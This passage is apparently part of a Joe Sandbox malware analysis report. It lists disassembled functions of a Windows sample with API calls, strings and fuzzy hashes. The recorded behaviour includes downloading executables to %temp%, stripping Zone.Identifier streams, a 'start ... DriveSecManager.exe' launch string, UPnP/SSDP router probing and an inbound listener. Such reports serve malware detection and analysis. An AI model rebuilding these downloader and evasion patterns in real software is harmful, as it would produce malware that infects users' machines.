ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040D805

Part of subcall function 0040D890: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040D8DE
Part of subcall function 0040D890: Sleep.KERNEL32(000003E8), ref: 0040D8EE
Part of subcall function 0040D890: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040D90B
Part of subcall function 0040D890: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040D921
Part of subcall function 0040D890: StrChrA.SHLWAPI(?,0000000D), ref: 0040D94E

Strings

239.255.255.250, xrefs: 0040D76A

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 79f07a221ebe8da2b3f6cc1201247ff83fcd4ebf719402c26e706ca4d9eeb493
Instruction ID: cd66526dcba05d1bd7c9b39ec2501b61c01db5f9fe0ef632d0235bd6d7545576
Opcode Fuzzy Hash: 79f07a221ebe8da2b3f6cc1201247ff83fcd4ebf719402c26e706ca4d9eeb493
Instruction Fuzzy Hash: F64137B5E00208EBDB04DFE4D889BEEBBB5AF48304F108169E515B7390E7B45A44CB69

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 13d0b41af5316ea83091654edbd74b2561ef0770db19727e5a4322e68b78e0ff
Instruction ID: 37c3663fbc3c265b2fc21df898a790ae91858f9cd77d7d33374cf85f68206479
Opcode Fuzzy Hash: 13d0b41af5316ea83091654edbd74b2561ef0770db19727e5a4322e68b78e0ff
Instruction Fuzzy Hash: 0331C871A443016BE320DF649C46F9BB6E0AF48B10F50493DF655EB2D0D3B5D544879A

Function 0040CCF0 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040CD02
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040CD28
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040CD5F
GetTickCount.KERNEL32 ref: 0040CD74
Sleep.KERNEL32(00000001), ref: 0040CD94
GetTickCount.KERNEL32 ref: 0040CD9A

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction ID: 0ae774020e9f5877292fe20f0fc2b5ec497076074ae846a5bd2c446efb985cc9
Opcode Fuzzy Hash: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction Fuzzy Hash: 4431FC74900209EFCB04DFA8D988BEE7BB1FF44315F10867AE825A7290D7749A51CF95

Function 00406460 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040646B
CoCreateInstance.OLE32(00412438,00000000,00000001,00412418,?), ref: 00406483
wsprintfW.USER32 ref: 004064B6

Strings

/c start %s & start %s\DriveSecManager.exe, xrefs: 004064AA
%comspec%, xrefs: 004064BF

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\DriveSecManager.exe
API String ID: 2038452267-3640840557
Opcode ID: 4992a1b2003cae7c91a3a7b86177e2a1dc405837f2ddce0001cb864d4f031ccd
Instruction ID: 827debbb99fb5d40cfb779b5d8ae5ab415415813199b490bc36420c15ce2df05
Opcode Fuzzy Hash: 4992a1b2003cae7c91a3a7b86177e2a1dc405837f2ddce0001cb864d4f031ccd
Instruction Fuzzy Hash: 0C31D875A40208BFDB04DF98D884FDEB7B5EF88704F208199F619A73A4C674AE81CB54

Function 0040AA80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040AAAD

Part of subcall function 0040AA40: inet_addr.WS2_32(0040AAC1), ref: 0040AA4A
Part of subcall function 0040AA40: gethostbyname.WS2_32(?), ref: 0040AA5D

socket.WS2_32(00000002,00000001,00000000), ref: 0040AACD
connect.WS2_32(000000FF,?,00000010), ref: 0040AAE6
getsockname.WS2_32(000000FF,?,00000010), ref: 0040AB18

Strings

www.update.microsoft.com, xrefs: 0040AAB7

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 17f60f9418bba267ceb1c0f8ef6a4cf2a322d26a33b8be3941e3699853ecfadc
Instruction ID: 53d455f177803832f36bb1991f027e84745f2e467cc2e97abaa02536582c95dc
Opcode Fuzzy Hash: 17f60f9418bba267ceb1c0f8ef6a4cf2a322d26a33b8be3941e3699853ecfadc
Instruction Fuzzy Hash: 09210BB5E103099BCB04DFE8D946AEEBBB5AF4C300F104169E605F7390E7745A45CBAA

Function 0040F0B1 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 0040F162

Strings

oA, xrefs: 0040F263
oA, xrefs: 0040F2C0
oA, xrefs: 0040F181

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: MemoryQueryVirtual
String ID: oA$ oA$ oA
API String ID: 2850889275-3725432611
Opcode ID: 2b8d52b38e95f23bdc674a950ebd3d706a7c1f13ecb44ec4cb7d27a974556661
Instruction ID: 156301bb8e4ac48afa8ff6eb2b3679a4760495b1ce114817f826733a91984271
Opcode Fuzzy Hash: 2b8d52b38e95f23bdc674a950ebd3d706a7c1f13ecb44ec4cb7d27a974556661
Instruction Fuzzy Hash: 3561D635710612CFDB35CE29C88066A33A2EB85354B25857FD805EBAD5E73ADC4AC68C

Function 0040BE80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(Bz@,00000000,00000000,00000001,F0000040,?,?,0040BED9,Bz@,00000004,?,?,0040BF0E,000000FF), ref: 0040BE93
CryptGenRandom.ADVAPI32(Bz@,?,00000000,?,?,0040BED9,Bz@,00000004,?,?,0040BF0E,000000FF), ref: 0040BEA9
CryptReleaseContext.ADVAPI32(Bz@,00000000,?,?,0040BED9,Bz@,00000004,?,?,0040BF0E,000000FF), ref: 0040BEB5

Strings

Bz@, xrefs: 0040BE8F, 0040BEA5, 0040BEB1, 0040BE92, 0040BEA8, 0040BEB4

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Bz@
API String ID: 1815803762-793989200
Opcode ID: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction ID: 6606508483a264dc8c12e3925f56bba8ecc3e33b87176868a4d93c44792bd7d2
Opcode Fuzzy Hash: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction Fuzzy Hash: 87E01275650208BBDB24CFD1EC49FDA776CEB48700F108154F70997280DBB5EA4097A8

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040D55D,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 68d947c41bdf9a0382415b4c621d22e40d460daea97f1b1ba8e6dd9fd87ffbf0
Instruction ID: f9ba2cfc99a050ce4a8bfcbff2653574801cca82506c6568c29975d90a0f09d7
Opcode Fuzzy Hash: 68d947c41bdf9a0382415b4c621d22e40d460daea97f1b1ba8e6dd9fd87ffbf0
Instruction Fuzzy Hash: 61118974A417106FE320DF749C0AF877AE0AF04B54F50892DF699E72E1E3B49544879A

Function 0040D4A0 Relevance: 3.0, APIs: 2, Instructions: 15timenativeCOMMON

Download Yara Rule

APIs

NtQuerySystemTime.NTDLL(0040B3B5), ref: 0040D4AA
RtlTimeToSecondsSince1980.NTDLL(0040B3B5,?), ref: 0040D4B8

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Time$QuerySecondsSince1980System
String ID:
API String ID: 1987401769-0
Opcode ID: 5c98a04c039906c0b732b0f639c8761212275eae2c79c402d7dd6553d16f435e
Instruction ID: 284f4c0ca90a751934941b1d9bfeddc82ee070f17a0c71d7a2ad06256d95dcf5
Opcode Fuzzy Hash: 5c98a04c039906c0b732b0f639c8761212275eae2c79c402d7dd6553d16f435e
Instruction Fuzzy Hash: 71D0C779D4010DBBCB00DBE4E84DCDDB77CEB44201F0086D6ED1593150EAB06658CBD5

Function 00404090 Relevance: 1.7, Strings: 1, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0040411B

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction ID: 5fd1260cd0c1bb1f0d43ca887b35fd9fe7aa376b80e30ba4f5f1b1723d8df557
Opcode Fuzzy Hash: 758c8ddec5ebc3f2fbc60252ee954f274e779d6146799bd0d90b894ddaeb8b1a
Instruction Fuzzy Hash: 2C124FF5D00109ABCF14DF98D985AEFB7B5BB98304F10816DE609B7380D739AA41CBA5

Function 00409EE0 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeaps.KERNEL32(000000FF,?), ref: 00409EFC

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: HeapsProcess
String ID:
API String ID: 1420622215-0
Opcode ID: 1373c558315c2bb7b1b39264dd611deb399c5604e49ba0dd3c9b15e56f9cb6f7
Instruction ID: 8d4b3b75e0ca4951d81b7fee5ffefe8b4dae6978097e516d12ce04c36a2bdc79
Opcode Fuzzy Hash: 1373c558315c2bb7b1b39264dd611deb399c5604e49ba0dd3c9b15e56f9cb6f7
Instruction Fuzzy Hash: 6B01ECB4904219CADB248F14D9847A9B778AB44304F1081E6D709B7282C2B85ECACF5E

Function 0040A500 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a4742e2e7356186e64ac596d0aac80efded56b294b4881e2932ca283d7c95dd
Instruction ID: ad55d0a0fc81490cd0e7a8c39e77b8496904da2014b800c37f86947748ff7242
Opcode Fuzzy Hash: 7a4742e2e7356186e64ac596d0aac80efded56b294b4881e2932ca283d7c95dd
Instruction Fuzzy Hash: DA128CB4D002199FCB08CF99D991AEEFBB2BF88304F24856AE415BB345D334AA15CF54

Function 0040EE74 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction ID: 054a0bb403a3dad9bf0ef84f7a0700921875b898f10d87bbce24b5acd7998093
Opcode Fuzzy Hash: 055ce3a16072e11c5b5b43c4deef216cb34a050bfe9534eea9d89275913ec06d
Instruction Fuzzy Hash: 4721B872900205AFC710EF79C880967FBA5FF45310B45857EE9559B286E734F925C7E0

Function 0040EAE0 Relevance: 73.7, APIs: 34, Strings: 8, Instructions: 227
filenetworksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040EAE9
srand.MSVCRT ref: 0040EAF0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040EB10
strlen.NTDLL ref: 0040EB1A
mbstowcs.NTDLL ref: 0040EB31
rand.MSVCRT ref: 0040EB39
rand.MSVCRT ref: 0040EB4D
wsprintfW.USER32 ref: 0040EB74
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040EB8A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EBB9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EBE8
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040EC1B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040EC4C
CloseHandle.KERNEL32(000000FF), ref: 0040EC5B
wsprintfW.USER32 ref: 0040EC74
DeleteFileW.KERNEL32(?), ref: 0040EC84
Sleep.KERNEL32(000007D0), ref: 0040ECA5
ExitProcess.KERNEL32 ref: 0040ECCD
DeleteFileW.KERNEL32(?), ref: 0040ECE3
CloseHandle.KERNEL32(000000FF), ref: 0040ECF0
InternetCloseHandle.WININET(00000000), ref: 0040ECFD
InternetCloseHandle.WININET(00000000), ref: 0040ED0A
Sleep.KERNEL32(000003E8), ref: 0040ED15
rand.MSVCRT ref: 0040ED2A
Sleep.KERNEL32 ref: 0040ED3B
rand.MSVCRT ref: 0040ED41
rand.MSVCRT ref: 0040ED55
wsprintfW.USER32 ref: 0040ED7C
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040ED99
wsprintfW.USER32 ref: 0040EDB9
DeleteFileW.KERNEL32(?), ref: 0040EDC9
Sleep.KERNEL32(000007D0), ref: 0040EDEA
ExitProcess.KERNEL32 ref: 0040EE11
DeleteFileW.KERNEL32(?), ref: 0040EE20

Strings

]u@, xrefs: 0040EE06, 0040ECC2
.Mw, xrefs: 0040EC5B, 0040ECF0
%s\%d%d.exe, xrefs: 0040ED70
%s\%d%d.exe, xrefs: 0040EB68
%s:Zone.Identifier, xrefs: 0040EC68
%temp%, xrefs: 0040EB0B
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040EB85
%s:Zone.Identifier, xrefs: 0040EDAD

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: File$Internetrand$CloseDeleteHandleSleepwsprintf$ExitOpenProcess$CountCreateDownloadEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$]u@$.Mw
API String ID: 3709769524-1426338499
Opcode ID: cde54363ed6e66bf7c32733fe20a8141ebc92d2c64877f6f05ce73e4651f385c
Instruction ID: cec73e08c6f056f0168379cb50c3066ff26982e4471096ca0769119a3115f73e
Opcode Fuzzy Hash: cde54363ed6e66bf7c32733fe20a8141ebc92d2c64877f6f05ce73e4651f385c
Instruction Fuzzy Hash: 5E81E9B5900318ABE720DB61DC49FEA3379AB88701F0484FDF609A51C1DAB99BD4CF59

Function 0040AEA0 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ADD0: gethostname.WS2_32(?,00000100), ref: 0040ADEC
Part of subcall function 0040ADD0: gethostbyname.WS2_32(?), ref: 0040ADFE

strcmp.NTDLL ref: 0040AED0

Strings

192., xrefs: 0040AF40
.127, xrefs: 0040AEFF
.127., xrefs: 0040AF1D
.192., xrefs: 0040AF7C
127., xrefs: 0040AEE1
.10., xrefs: 0040AFDB
0.0.0.0, xrefs: 0040AEBE
.192, xrefs: 0040AF5E
10., xrefs: 0040AF9F
.10, xrefs: 0040AFBD

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: 7160486eb3816073c061a65ecf3a9a7d1c79094514eb017bcdc9a8df335f0911
Instruction ID: 458019ee7e4258451e0266341ac37eb9dcc64f8272ac2f4812142232ba39784f
Opcode Fuzzy Hash: 7160486eb3816073c061a65ecf3a9a7d1c79094514eb017bcdc9a8df335f0911
Instruction Fuzzy Hash: 406162B4A00305BBDF00EF65EC56BAA37659B10348F14847EE8496A3C1E73DE964C79E

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

PCOI, xrefs: 0040198A
ilci, xrefs: 004019E1

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 33a2561f4f33f1c23cf89dbb798d82106e513be12dc6673eed8a381d7532f20f
Instruction ID: eeda51e0e3d97f01d1798d9b0ac8f7385833fedac5999c9123737cb6f89c21c8
Opcode Fuzzy Hash: 33a2561f4f33f1c23cf89dbb798d82106e513be12dc6673eed8a381d7532f20f
Instruction Fuzzy Hash: 25412771601201ABCB20DF74DC8CB9B77A9AF44720F04863DF955A72E1DB78E885CB99

Function 0040E4F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E518
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040E568
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040E57B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E5B4
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E5EA
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040E615
HttpSendRequestA.WININET(00000000,00411AB8,000000FF,00009E34), ref: 0040E63F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E67E
memcpy.NTDLL(00000000,?,00000000), ref: 0040E6D0
InternetCloseHandle.WININET(00000000), ref: 0040E701
InternetCloseHandle.WININET(00000000), ref: 0040E70E
InternetCloseHandle.WININET(00000000), ref: 0040E71B

Strings

<, xrefs: 0040E520
POST, xrefs: 0040E5DE
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040E576

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
